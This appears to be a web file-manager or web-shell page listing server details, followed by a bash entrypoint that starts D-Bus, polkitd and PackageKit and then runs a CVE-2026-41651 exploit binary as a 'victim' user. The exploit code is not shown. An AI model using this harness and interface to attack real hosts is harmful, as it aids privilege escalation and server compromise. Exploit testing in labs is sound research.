HEX
Server: LiteSpeed
System: Linux standart103.isimtescil.net 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: byildiz (11197)
PHP: 8.2.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/byildiz.com.tr/httpdocs/xpl2026/CVE-2026-41651/src/entrypoint.sh
#!/bin/bash
set -e

# ── 1. D-Bus system bus ──────────────────────────────────────────────────────
mkdir -p /run/dbus /var/run/dbus /etc/polkit-1/actions
dbus-daemon --system --fork --print-address
sleep 0.5

# ── 2. polkitd ───────────────────────────────────────────────────────────────
POLKITD=$(find /usr/lib /usr/libexec -name "polkitd" -type f -executable 2>/dev/null | head -1)
[ -z "$POLKITD" ] && { echo "[-] polkitd not found"; exit 1; }
"$POLKITD" --no-debug &
sleep 0.5

# ── 3. PackageKit daemon ─────────────────────────────────────────────────────
PKITD=$(find /usr -name "packagekitd" -type f 2>/dev/null | head -1)
[ -z "$PKITD" ] && { echo "[-] packagekitd not found"; exit 1; }
"$PKITD" 2>/dev/null &
sleep 1

echo ""
echo "  System  : $(lsb_release -ds 2>/dev/null || grep PRETTY /etc/os-release | cut -d= -f2 | tr -d '"')"
echo "  PK      : $(pkcon --version 2>/dev/null | head -1)"
echo "  User    : victim (uid=$(id -u victim))"
echo ""

# ── 4. Run exploit ───────────────────────────────────────────────────────────
exec su victim -c "exec /home/victim/cve-2026-41651"